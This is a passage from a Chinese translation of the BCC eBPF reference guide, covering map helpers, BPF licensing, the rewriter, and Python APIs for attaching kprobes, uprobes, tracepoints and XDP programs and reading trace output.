</code></pre>
<p>这将<code>tail_call()</code>分配给<code>prog_array[2]</code>。在<code>do_tail_call()</code>的最后,<code>prog_array.call(ctx, 2)</code>尾调用<code>tail_call()</code>并执行它。</p>
<p>**注意:**为了防止无限循环尾调用的最大数量是32<a href="https://github.com/torvalds/linux/search?l=C&amp;q=MAX_TAIL_CALL_CNT+path%3Ainclude%2Flinux&amp;type=Code"><code>MAX_TAIL_CALL_CNT</code></a>)。</p>
<p>在现场示例中:
<a href="https://github.com/iovisor/bcc/search?l=C&amp;q=call+path%3Aexamples&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?l=C&amp;q=call+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="28-mapredirect_map"><a class="header" href="#28-mapredirect_map">28. map.redirect_map()</a></h3>
<p>语法:<code>int map.redirect_map(int index, int flags)</code>&quot;.这将根据 <code>index</code> 条目重定向传入的数据包。如果映射是 <a href="bcc-documents/reference_guide.html#11-bpf_devmap">BPF_DEVMAP</a>,数据包将被发送到该条目指向的网络接口的传输队列。如果映射是 <a href="bcc-documents/reference_guide.html#12-bpf_cpumap">BPF_CPUMAP</a>,数据包将被发送到<code>index</code> CPU的环形缓冲区并稍后由CPU处理。如果映射是 <a href="bcc-documents/reference_guide.html#13-bpf_xskmap">BPF_XSKMAP</a>,数据包将被发送到连接到队列的 AF_XDP 套接字。</p>
<p>如果数据包成功被重定向,该函数将返回 XDP_REDIRECT。否则将返回 XDP_ABORTED 以丢弃该数据包。</p>
<p>例如:</p>
<pre><code class="language-C">BPF_DEVMAP(devmap, 1);
int redirect_example(struct xdp_md *ctx) {
return devmap.redirect_map(0, 0);
}
int xdp_dummy(struct xdp_md *ctx) {
return XDP_PASS;
}
</code></pre>
<pre><code class="language-Python">ip = pyroute2.IPRoute()
idx = ip.link_lookup(ifname=&quot;eth1&quot;)[0]
b = bcc.BPF(src_file=&quot;example.c&quot;)
devmap = b.get_table(&quot;devmap&quot;)
devmap[c_uint32(0)] = c_int(idx)
in_fn = b.load_func(&quot;redirect_example&quot;, BPF.XDP)
out_fn = b.load_func(&quot;xdp_dummy&quot;, BPF.XDP)
b.attach_xdp(&quot;eth0&quot;, in_fn, 0)
b.attach_xdp(&quot;eth1&quot;, out_fn, 0)
</code></pre>
<p>示例位置:
<a href="https://github.com/iovisor/bcc/search?l=C&amp;q=redirect_map+path%3Aexamples&amp;type=Code">搜索 /examples</a>,</p>
<h3 id="29-mappush"><a class="header" href="#29-mappush">29. map.push()</a></h3>
<p>语法:<code>int map.push(&amp;val, int flags)</code></p>
<p>将元素推入堆栈或队列表。将 BPF_EXIST 作为标志传递会导致队列或堆栈在已满时丢弃最旧的元素。成功返回0失败返回负错误值。</p>
<p>示例位置:
<a href="https://github.com/iovisor/bcc/search?q=push+path%3Atests&amp;type=Code">搜索 /tests</a>,</p>
<h3 id="30-mappop"><a class="header" href="#30-mappop">30. map.pop()</a></h3>
<p>语法:<code>int map.pop(&amp;val)</code></p>
<p>从堆栈或队列表中弹出一个元素。<code>*val</code>被填充为结果。与查看不同弹出操作会移除该元素。成功返回0失败返回负错误值。</p>
<p>示例位置:
<a href="https://github.com/iovisor/bcc/search?q=pop+path%3Atests&amp;type=Code">搜索 /tests</a>,</p>
<h3 id="31-mappeek"><a class="header" href="#31-mappeek">31. map.peek()</a></h3>
<p>语法:<code>int map.peek(&amp;val)</code>查看堆栈或队列表头的元素。<code>*val</code>将被结果填充。
与弹出不同,查看不会删除元素。
成功返回0失败返回负错误。</p>
<p>实例:
<a href="https://github.com/iovisor/bcc/search?q=peek+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="32-mapsock_hash_update"><a class="header" href="#32-mapsock_hash_update">32. map.sock_hash_update()</a></h3>
<p>语法:<code>int map.sock_hash_update(struct bpf_sock_ops *skops, &amp;key, int flags)</code></p>
<p>向sockhash映射添加条目或更新条目。skops用作与键相关联的条目的新值。flags为以下之一</p>
<pre><code class="language-sh">BPF_NOEXIST映射中不得存在key的条目。
BPF_EXIST映射中必须已存在key的条目。
BPF_ANY对于key的条目是否存在没有条件。
</code></pre>
<p>如果映射具有eBPF程序解析器和判决器则这些程序将被添加的套接字继承。如果套接字已经附加到eBPF程序则会出错。</p>
<p>成功返回0失败返回负错误。</p>
<p>实例:
<a href="https://github.com/iovisor/bcc/search?q=sock_hash_update+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="33-mapmsg_redirect_hash"><a class="header" href="#33-mapmsg_redirect_hash">33. map.msg_redirect_hash()</a></h3>
<p>语法:<code>int map.msg_redirect_hash(struct sk_msg_buff *msg, void*key, u64 flags)</code></p>
<p>该辅助程序用于在套接字级别实施策略的程序中。如果消息msg被允许通过即判决eBPF程序返回SK_PASS则使用哈希键将其重定向到映射引用的套接字类型为BPF_MAP_TYPE_SOCKHASH。可以使用入站和出站接口进行重定向。标志中的BPF_F_INGRESS值用于区分如果存在该标志则选择入站路径否则选择出站路径。目前这是唯一支持的标志。</p>
<p>成功返回SK_PASS发生错误返回SK_DROP。</p>
<p>实例:
<a href="https://github.com/iovisor/bcc/search?q=msg_redirect_hash+path%3Atests&amp;type=Code">搜索/tests</a></p>
<h3 id="34-mapsk_redirect_hash"><a class="header" href="#34-mapsk_redirect_hash">34. map.sk_redirect_hash()</a></h3>
<p>语法:<code>int map.sk_redirect_hash(struct sk_buff *skb, void*key, u64 flags)</code>&quot;.This helper is used in programs implementing policies at the skb socket level.
If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key.
Both ingress and egress interfaces can be used for redirection.
The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise).
This is the only flag supported for now.</p>
<p>Return SK_PASS on success, or SK_DROP on error.</p>
<p>Examples in situ:
[搜索/tests](<a href="https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&amp;type=Code%5C">https://github.com/iovisor/bcc/search?q=sk_redirect_hash+path%3Atests&amp;type=Code\</a>),</p>
<h2 id="许可证"><a class="header" href="#许可证">许可证</a></h2>
<p>Depending on which [BPF helpers](kernel-versions.md#helpers) are used, a GPL-compatible license is required.</p>
<p>The special BCC macro <code>BPF_LICENSE</code> specifies the license of the BPF program.
You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically.
If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it:</p>
<pre><code class="language-C">// SPDX-License-Identifier: GPL-2.0+
#define BPF_LICENSE GPL
</code></pre>
<p>Otherwise, the kernel may reject loading your program (see the [错误描述](#2-cannot-call-gpl-only-function-from-proprietary-program) below).
Note that it supports multiple words and quotes are not necessary:</p>
<pre><code class="language-C">// SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause
#define BPF_LICENSE Dual BSD/GPL
</code></pre>
<p>Check the [BPF helpers reference](kernel-versions.md#helpers) to see which helpers are GPL-only and what the kernel understands as GPL-compatible.</p>
<p><strong>If the macro is not specified, BCC will automatically define the license of the program as GPL.</strong></p>
<h2 id="rewriter"><a class="header" href="#rewriter">Rewriter</a></h2>
<p>一个重写器的工作是使用内核辅助程序将隐式内存访问转换为显式内存访问。最近的内核引入了一个配置选项ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE该选项将被设置为使用用户地址空间和内核地址空间不重叠的体系结构。x86和arm设置了这个配置选项而s390没有。如果没有设置ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACEbpf旧帮助函数<code>bpf_probe_read()</code>将不可用。一些现有的用户可能有隐式内存访问来访问用户内存,所以使用<code>bpf_probe_read_kernel()</code>会导致他们的应用程序失败。因此对于非s390重写器将对这些隐式内存访问使用<code>bpf_probe_read()</code>。对于s390默认使用<code>bpf_probe_read_kernel()</code>,用户在访问用户内存时应显式使用<code>bpf_probe_read_user()</code></p>
<h1 id="bcc-python"><a class="header" href="#bcc-python">bcc Python</a></h1>
<h2 id="初始化"><a class="header" href="#初始化">初始化</a></h2>
<p>构造函数。</p>
<h3 id="1-bpf"><a class="header" href="#1-bpf">1. BPF</a></h3>
<p>语法: <code>BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int])</code></p>
<p>创建一个BPF对象。这是定义BPF程序并与其输出交互的主要对象。</p>
<p>必须提供<code>text</code><code>src_file</code>之一,不能两者都提供。</p>
<p><code>cflags</code>指定要传递给编译器的额外参数,例如<code>-DMACRO_NAME=value</code><code>-I/include/path</code>。参数以数组形式传递,每个元素为一个额外的参数。注意,字符串不会按空格拆分,所以每个参数必须是数组的不同元素,例如<code>[&quot;-include&quot;, &quot;header.h&quot;]</code></p>
<p><code>debug</code>标志控制调试输出,可以使用或运算:</p>
<ul>
<li><code>DEBUG_LLVM_IR = 0x1</code> 编译后的LLVM IR</li>
<li><code>DEBUG_BPF = 0x2</code> 加载的BPF字节码和分支时的寄存器状态</li>
<li><code>DEBUG_PREPROCESSOR = 0x4</code> 预处理器的结果</li>
<li><code>DEBUG_SOURCE = 0x8</code> 嵌入源码的ASM指令</li>
<li><code>DEBUG_BPF_REGISTER_STATE = 0x10</code> 所有指令的寄存器状态额外打印DEBUG_BPF的信息</li>
<li><code>DEBUG_BTF = 0x20</code> 打印来自<code>libbpf</code>库的消息。</li>
</ul>
<p>示例:</p>
<pre><code class="language-Python&quot;# 定义整个BPF程序在一行中:">BPF(text='int do_trace(void *ctx) { bpf_trace_printk(&quot;命中!\\n&quot;); return 0; }');
# 定义程序为一个变量:
prog = &quot;&quot;&quot;
int hello(void *ctx) {
bpf_trace_printk(&quot;你好,世界!\\n&quot;);
return 0;
}
&quot;&quot;&quot;
b = BPF(text=prog)
# 源文件:
b = BPF(src_file = &quot;vfsreadlat.c&quot;)
# 包括一个USDT对象:
u = USDT(pid=int(pid))
[...]
b = BPF(text=bpf_text, usdt_contexts=[u])
# 添加包含路径:
u = BPF(text=prog, cflags=[&quot;-I/path/to/include&quot;])
在原地的示例:
[搜索 /examples](https://github.com/iovisor/bcc/search?q=BPF+path%3Aexamples+language%3Apython&amp;type=Code),
[搜索 /tools](https://github.com/iovisor/bcc/search?q=BPF+path%3Atools+language%3Apython&amp;type=Code)
### 2. USDT
语法: ```USDT({pid=pid | path=path})```
创建一个对象以检测用户静态定义的跟踪(USDT)探针。它的主要方法是```enable_probe()```。
参数:
- pid: 附加到该进程ID。
- path: 从此二进制路径检测USDT探针。
示例:
```Python
# 包括一个USDT对象:
u = USDT(pid=int(pid))
[...]
b = BPF(text=bpf_text, usdt_contexts=[u])
</code></pre>
<p>在原地的示例:
<a href="https://github.com/iovisor/bcc/search?q=USDT+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=USDT+path%3Atools+language%3Apython&amp;type=Code">搜索 /tools</a></p>
<h2 id="事件"><a class="header" href="#事件">事件</a></h2>
<h3 id="1-attach_kprobe"><a class="header" href="#1-attach_kprobe">1. attach_kprobe()</a></h3>
<p>语法: <code>BPF.attach_kprobe(event=&quot;event&quot;, fn_name=&quot;name&quot;)</code></p>
<p>通过内核动态跟踪函数入口,来检测内核函数<code>event()</code>并将我们的C定义的函数<code>name()</code>附加到每次调用内核函数时被调用。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_kprobe(event=&quot;sys_clone&quot;, fn_name=&quot;do_trace&quot;)
</code></pre>
<p>这将检测内核<code>sys_clone()</code>函数并在每次调用时运行我们定义的BPF函数<code>do_trace()</code></p>
<p>您可以多次调用attach_kprobe()并将您的BPF函数附加到多个内核函数上。您也可以多次调用attach_kprobe()函数将多个BPF函数附加到同一个内核函数。</p>
<p>有关如何从BPF中提取参数的详细信息请参阅前面的kprobes部分。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Aexamples+language%3Apython&amp;type=Code">查找/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_kprobe+path%3Atools+language%3Apython&amp;type=Code">查找/tools</a></p>
<h3 id="2-attach_kretprobe"><a class="header" href="#2-attach_kretprobe">2. attach_kretprobe()</a></h3>
<p>语法BPF.attach_kretprobe(event=&quot;事件&quot;, fn_name=&quot;名称&quot; [, maxactive=int])</p>
<p>使用内核动态跟踪函数返回来检测内核函数event()的返回并附加我们定义的C函数name()在内核函数返回时调用。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_kretprobe(event=&quot;vfs_read&quot;, fn_name=&quot;do_return&quot;)
</code></pre>
<p>这将检测内核的vfs_read()函数每次调用该函数时都会执行我们定义的BPF函数do_return()。</p>
<p>您可以多次调用attach_kretprobe()函数并将您的BPF函数附加到多个内核函数的返回值。
您也可以多次调用attach_kretprobe()函数将多个BPF函数附加到同一个内核函数的返回值。</p>
<p>当在内核函数上安装kretprobe时它可以捕获的并行调用次数存在限制。您可以使用maxactive参数更改该限制。有关默认值请参阅kprobes文档。</p>
<p>有关如何从BPF中提取返回值的详细信息请参阅前面的kretprobes部分。</p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Aexamples+language%3Apython&amp;type=Code">查找/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Atools+language%3Apython&amp;type=Code">查找/tools</a></p>
<h3 id="3-attach_tracepoint"><a class="header" href="#3-attach_tracepoint">3. attach_tracepoint()</a></h3>
<p>语法BPF.attach_tracepoint(tp=&quot;追踪点&quot;, fn_name=&quot;名称&quot;)</p>
<p>检测由tracepoint描述的内核追踪点并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 <code>TRACEPOINT_PROBE</code> 语法是另一种方法,其优点是自动声明一个包含 tracepoint 参数的 <code>args</code> 结构体。在使用 <code>attach_tracepoint()</code>tracepoint 参数需要在 BPF 程序中声明。</p>
<p>例如:</p>
<pre><code class="language-Python"># 定义 BPF 程序
bpf_text = &quot;&quot;&quot;
#include &lt;uapi/linux/ptrace.h&gt;
struct urandom_read_args {
// 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format
u64 __unused__;
u32 got_bits;
u32 pool_left;
u32 input_left;
};
int printarg(struct urandom_read_args *args) {
bpf_trace_printk(&quot;%d\\n&quot;, args-&gt;got_bits);
return 0;
};
&quot;&quot;&quot;
# 加载 BPF 程序
b = BPF(text=bpf_text)
b.attach_tracepoint(&quot;random:urandom_read&quot;, &quot;printarg&quot;)
</code></pre>
<p>注意,<code>printarg()</code> 的第一个参数现在是我们定义的结构体。</p>
<p>代码示例:
<a href="https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread-explicit.py#L41">code</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Atools+language%3Apython&amp;type=Code">search /tools</a></p>
<h3 id="4-attach_uprobe"><a class="header" href="#4-attach_uprobe">4. attach_uprobe()</a></h3>
<p>语法:<code>BPF.attach_uprobe(name=&quot;location&quot;, sym=&quot;symbol&quot;, fn_name=&quot;name&quot; [, sym_off=int])</code>, <code>BPF.attach_uprobe(name=&quot;location&quot;, sym_re=&quot;regex&quot;, fn_name=&quot;name&quot;)</code>, <code>BPF.attach_uprobe(name=&quot;location&quot;, addr=int, fn_name=&quot;name&quot;)</code></p>
<p>用于操控位于 <code>location</code> 中的库或二进制文件中的用户级别函数 <code>symbol()</code>,使用用户级别动态跟踪该函数的入口,并将我们定义的 C 函数 <code>name()</code> 附加为在用户级别函数被调用时调用的函数。如果给定了 <code>sym_off</code>,则该函数将附加到符号的偏移量上。真实的地址<code>addr</code>可以替代<code>sym</code>,在这种情况下,<code>sym</code>必须设置为其默认值。如果文件是非PIE可执行文件<code>addr</code>必须是虚拟地址,否则它必须是相对于文件加载地址的偏移量。</p>
<p>可以在<code>sym_re</code>中提供普通表达式来代替符号名称。然后uprobes将附加到与提供的正则表达式匹配的符号。</p>
<p>在名字参数中可以给出库名而不带lib前缀或者给出完整路径/usr/lib/...)。只能通过完整路径(/bin/sh给出二进制文件。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_uprobe(name=&quot;c&quot;, sym=&quot;strlen&quot;, fn_name=&quot;count&quot;)
</code></pre>
<p>这将在libc中对<code>strlen()</code>函数进行插装并在调用该函数时调用我们的BPF函数<code>count()</code>。请注意,在<code>libc</code>中的<code>libc</code>中的&quot;lib&quot;是不必要的。</p>
<p>其他例子:</p>
<pre><code class="language-Python">b.attach_uprobe(name=&quot;c&quot;, sym=&quot;getaddrinfo&quot;, fn_name=&quot;do_entry&quot;)
b.attach_uprobe(name=&quot;/usr/bin/python&quot;, sym=&quot;main&quot;, fn_name=&quot;do_main&quot;)
</code></pre>
<p>您可以多次调用attach_uprobe()并将BPF函数附加到多个用户级函数。</p>
<p>有关如何从BPF工具获取参数的详细信息请参见上一节uprobes。</p>
<p>原址示例:
<a href="https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Atools+language%3Apython&amp;type=Code">search /tools</a></p>
<h3 id="5-attach_uretprobe"><a class="header" href="#5-attach_uretprobe">5. attach_uretprobe()</a></h3>
<p>语法: <code>BPF.attach_uretprobe(name=&quot;location&quot;, sym=&quot;symbol&quot;, fn_name=&quot;name&quot;)</code></p>
<p>使用用户级动态跟踪从名为<code>location</code>的库或二进制文件中的用户级函数<code>symbol()</code>返回值的方式仪器化并将我们定义的C函数<code>name()</code>附加到用户级函数返回时调用。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_uretprobe(name=&quot;c&quot;, sym=&quot;strlen&quot;, fn_name=&quot;count&quot;)
```。这将使用libc库对```strlen()```函数进行插装并在其返回时调用我们的BPF函数```count()```。
其他示例:
```Python
b.attach_uretprobe(name=&quot;c&quot;, sym=&quot;getaddrinfo&quot;, fn_name=&quot;do_return&quot;)
b.attach_uretprobe(name=&quot;/usr/bin/python&quot;, sym=&quot;main&quot;, fn_name=&quot;do_main&quot;)
</code></pre>
<p>您可以多次调用attach_uretprobe()并将您的BPF函数附加到多个用户级函数上。</p>
<p>有关如何对BPF返回值进行插装的详细信息请参阅前面的uretprobes部分。</p>
<p>内部示例:
<a href="https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Aexamples+language%3Apython&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Atools+language%3Apython&amp;type=Code">搜索/tools</a></p>
<h3 id="6-usdtenable_probe"><a class="header" href="#6-usdtenable_probe">6. USDT.enable_probe()</a></h3>
<p>语法:<code>USDT.enable_probe(probe=probe, fn_name=name)</code></p>
<p>将BPF C函数<code>name</code>附加到USDT探针<code>probe</code></p>
<p>示例:</p>
<pre><code class="language-Python"># 根据给定的PID启用USDT探针
u = USDT(pid=int(pid))
u.enable_probe(probe=&quot;http__server__request&quot;, fn_name=&quot;do_trace&quot;)
</code></pre>
<p>要检查您的二进制文件是否具有USDT探针以及它们的详细信息可以运行<code>readelf -n binary</code>并检查stap调试部分。</p>
<p>内部示例:
<a href="https://github.com/iovisor/bcc/search?q=enable_probe+path%3Aexamples+language%3Apython&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=enable_probe+path%3Atools+language%3Apython&amp;type=Code">搜索/tools</a></p>
<h3 id="7-attach_raw_tracepoint"><a class="header" href="#7-attach_raw_tracepoint">7. attach_raw_tracepoint()</a></h3>
<p>语法:<code>BPF.attach_raw_tracepoint(tp=&quot;tracepoint&quot;, fn_name=&quot;name&quot;)</code></p>
<p>对由<code>tracepoint</code>(仅<code>event</code>,无<code>category</code>描述的内核原始跟踪点进行插装并在命中时运行BPF函数<code>name()</code></p>
<p>这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的<code>RAW_TRACEPOINT_PROBE</code>语法是一种替代方法。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_raw_tracepoint(&quot;sched_switch&quot;, &quot;do_trace&quot;)
</code></pre>
<p>内部示例:&quot;.&quot;<a href="https://github.com/iovisor/bcc/search?q=attach_raw_tracepoint+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h3 id="8-attach_raw_socket"><a class="header" href="#8-attach_raw_socket">8. attach_raw_socket()</a></h3>
<p>语法: <code>BPF.attach_raw_socket(fn, dev)</code></p>
<p>将一个BPF函数附加到指定的网络接口。</p>
<p><code>fn</code> 必须是 <code>BPF.function</code> 类型,并且 bpf_prog 类型需要是 <code>BPF_PROG_TYPE_SOCKET_FILTER</code> (<code>fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)</code>)</p>
<p><code>fn.sock</code> 是一个非阻塞原始套接字,已经创建并绑定到 <code>dev</code></p>
<p>所有处理 <code>dev</code> 的网络数据包都会在经过 bpf_prog 处理后,被复制到 <code>fn.sock</code><code>recv-q</code> 中。可以使用 <code>recv/recvfrom/recvmsg</code> 来从 <code>fn.sock</code> 接收数据包。需要注意的是,如果在 <code>recv-q</code> 满了之后没有及时读取,复制的数据包将会被丢弃。</p>
<p>可以使用这个功能来像 <code>tcpdump</code> 一样捕获网络数据包。</p>
<p>可以使用<code>ss --bpf --packet -p</code>来观察 <code>fn.sock</code></p>
<p>示例:</p>
<pre><code class="language-Python">BPF.attach_raw_socket(bpf_func, ifname)
</code></pre>
<p>示例位置:
<a href="https://github.com/iovisor/bcc/search?q=attach_raw_socket+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a></p>
<h3 id="9-attach_xdp"><a class="header" href="#9-attach_xdp">9. attach_xdp()</a></h3>
<p>语法: <code>BPF.attach_xdp(dev=&quot;device&quot;, fn=b.load_func(&quot;fn_name&quot;,BPF.XDP), flags)</code></p>
<p>改装由 <code>dev</code> 描述的网络驱动程序,然后接收数据包,并使用标志运行 BPF 函数 <code>fn_name()</code></p>
<p>以下是可选的标志列表。</p>
<pre><code class="language-Python"># from xdp_flags uapi/linux/if_link.h
XDP_FLAGS_UPDATE_IF_NOEXIST = (1 &lt;&lt; 0)
XDP_FLAGS_SKB_MODE = (1 &lt;&lt; 1)
XDP_FLAGS_DRV_MODE = (1 &lt;&lt; 2)
XDP_FLAGS_HW_MODE = (1 &lt;&lt; 3)
XDP_FLAGS_REPLACE = (1 &lt;&lt; 4)
</code></pre>
<p>您可以像这样使用标志: <code>BPF.attach_xdp(dev=&quot;device&quot;, fn=b.load_func(&quot;fn_name&quot;,BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST)</code></p>
<p>标志的默认值为0。这意味着如果没有带有 <code>device</code> 的xdp程序fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联旧程序将被新的fn程序替换。&quot;.当前bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。</p>
<h4 id="1-xdp_flags_update_if_noexist"><a class="header" href="#1-xdp_flags_update_if_noexist">1. XDP_FLAGS_UPDATE_IF_NOEXIST</a></h4>
<p>如果已经将XDP程序附加到指定的驱动程序上再次附加XDP程序将失败。</p>
<h4 id="2-xdp_flags_skb_mode"><a class="header" href="#2-xdp_flags_skb_mode">2. XDP_FLAGS_SKB_MODE</a></h4>
<p>驱动程序不支持XDP但内核模拟支持它。
XDP程序可以工作但没有真正的性能优势因为数据包无论如何都会传递给内核堆栈然后模拟XDP - 这通常适用于家用电脑,笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。</p>
<h4 id="3-xdp_flags_drv_mode"><a class="header" href="#3-xdp_flags_drv_mode">3. XDP_FLAGS_DRV_MODE</a></h4>
<p>驱动程序具有XDP支持并且可以将数据包直接传递给XDP无需内核堆栈交互 - 少数驱动程序可以支持此功能,通常用于企业级硬件。</p>
<h4 id="4-xdp_flags_hw_mode"><a class="header" href="#4-xdp_flags_hw_mode">4. XDP_FLAGS_HW_MODE</a></h4>
<p>XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_xdp(dev=&quot;ens1&quot;, fn=b.load_func(&quot;do_xdp&quot;, BPF.XDP))
</code></pre>
<p>这将为网络设备<code>ens1</code>安装工具并在接收数据包时运行我们定义的BPF函数<code>do_xdp()</code></p>
<p>不要忘记在最后调用<code>b.remove_xdp(&quot;ens1&quot;)</code></p>
<p>示例:
<a href="https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Aexamples+language%3Apython&amp;type=Code">搜索/examples</a>,
<a href="https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Atools+language%3Apython&amp;type=Code">搜索/tools</a></p>
<h3 id="10-attach_func"><a class="header" href="#10-attach_func">10. attach_func()</a></h3>
<p>语法:<code>BPF.attach_func(fn, attachable_fd, attach_type [, flags])</code></p>
<p>将指定类型的BPF函数附加到特定的<code>attachable_fd</code>上。如果<code>attach_type</code><code>BPF_FLOW_DISSECTOR</code>,则预期该函数将附加到当前的网络命名空间,并且<code>attachable_fd</code>必须为0。</p>
<p>例如:</p>
<pre><code class="language-Python">b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)
b.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT)
```注意。当附加到“全局”钩子xdp、tc、lwt、cgroup时。如果程序终止后不再需要“BPF 函数”,请确保在程序退出时调用 `detach_func`。
示例中的内部代码:
[search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&amp;type=Code),
### 11. detach_func()
语法:```BPF.detach_func(fn, attachable_fd, attach_type)```
断开指定类型的 BPF 函数。
例如:
```Python
b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数
b.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数
</code></pre>
<p>示例中的内部代码:</p>
<p><a href="https://github.com/iovisor/bcc/search?q=detach_func+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>,</p>
<h3 id="12-detach_kprobe"><a class="header" href="#12-detach_kprobe">12. detach_kprobe()</a></h3>
<p>语法:<code>BPF.detach_kprobe(event=&quot;event&quot;, fn_name=&quot;name&quot;)</code></p>
<p>断开指定事件的 kprobe 处理函数。</p>
<p>例如:</p>
<pre><code class="language-Python">b.detach_kprobe(event=&quot;__page_cache_alloc&quot;, fn_name=&quot;trace_func_entry&quot;) // 断开 &quot;__page_cache_alloc&quot; 事件上的 &quot;trace_func_entry&quot; 函数
</code></pre>
<h3 id="13-detach_kretprobe"><a class="header" href="#13-detach_kretprobe">13. detach_kretprobe()</a></h3>
<p>语法:<code>BPF.detach_kretprobe(event=&quot;event&quot;, fn_name=&quot;name&quot;)</code></p>
<p>断开指定事件的 kretprobe 处理函数。</p>
<p>例如:</p>
<pre><code class="language-Python">b.detach_kretprobe(event=&quot;__page_cache_alloc&quot;, fn_name=&quot;trace_func_return&quot;) // 断开 &quot;__page_cache_alloc&quot; 事件上的 &quot;trace_func_return&quot; 函数
</code></pre>
<h2 id="调试输出"><a class="header" href="#调试输出">调试输出</a></h2>
<h3 id="1-trace_print"><a class="header" href="#1-trace_print">1. trace_print()</a></h3>
<p>语法:<code>BPF.trace_print(fmt=&quot;fields&quot;)</code></p>
<p>该方法持续读取全局共享的 <code>/sys/kernel/debug/tracing/trace_pipe</code> 文件并打印其内容。可以通过 BPF 和 <code>bpf_trace_printk()</code> 函数将数据写入该文件,但该方法存在限制,包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。</p>
<p>参数:</p>
<ul>
<li><code>fmt</code>: 可选,可以包含字段格式化字符串,默认为 <code>None</code></li>
</ul>
<p>示例:</p>
<pre><code class="language-Python"># 将 trace_pipe 输出原样打印:
b.trace_print()
# 打印 PID 和消息:
b.trace_print(fmt=&quot;{1} {5}&quot;)
</code></pre>
<p>示例中的内部代码:
<a href="https://github.com/iovisor/bcc/search?q=trace_print+path%3Aexamples+language%3Apython&amp;type=Code">search /examples</a>&quot;<a href="https://github.com/iovisor/bcc/search?q=trace_print+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h3 id="2-trace_fields"><a class="header" href="#2-trace_fields">2. trace_fields()</a></h3>
<p>语法: <code>BPF.trace_fields(nonblocking=False)</code></p>
<p>该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行,并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入,但该方法有一些限制,包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。</p>
<p>参数:</p>
<ul>
<li><code>nonblocking</code>: 可选参数,默认为 <code>False</code>。当设置为 <code>True</code> 时,程序将不会阻塞等待输入。</li>
</ul>
<p>示例:</p>
<pre><code class="language-Python">while 1:
try:
(task, pid, cpu, flags, ts, msg) = b.trace_fields()
except ValueError:
continue
[...]
</code></pre>
<p>内联示例:
<a href="https://github.com/iovisor/bcc/search?q=trace_fields+path%3Aexamples+language%3Apython&amp;type=Code">搜索 /示例</a>,
<a href="https://github.com/iovisor/bcc/search?q=trace_fields+path%3Atools+language%3Apython&amp;type=Code">搜索 /工具</a></p>
<h2 id="输出-api"><a class="header" href="#输出-api">输出 API</a></h2>
<p>BPF 程序的正常输出有两种方式:</p>
<ul>
<li>每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。</li>
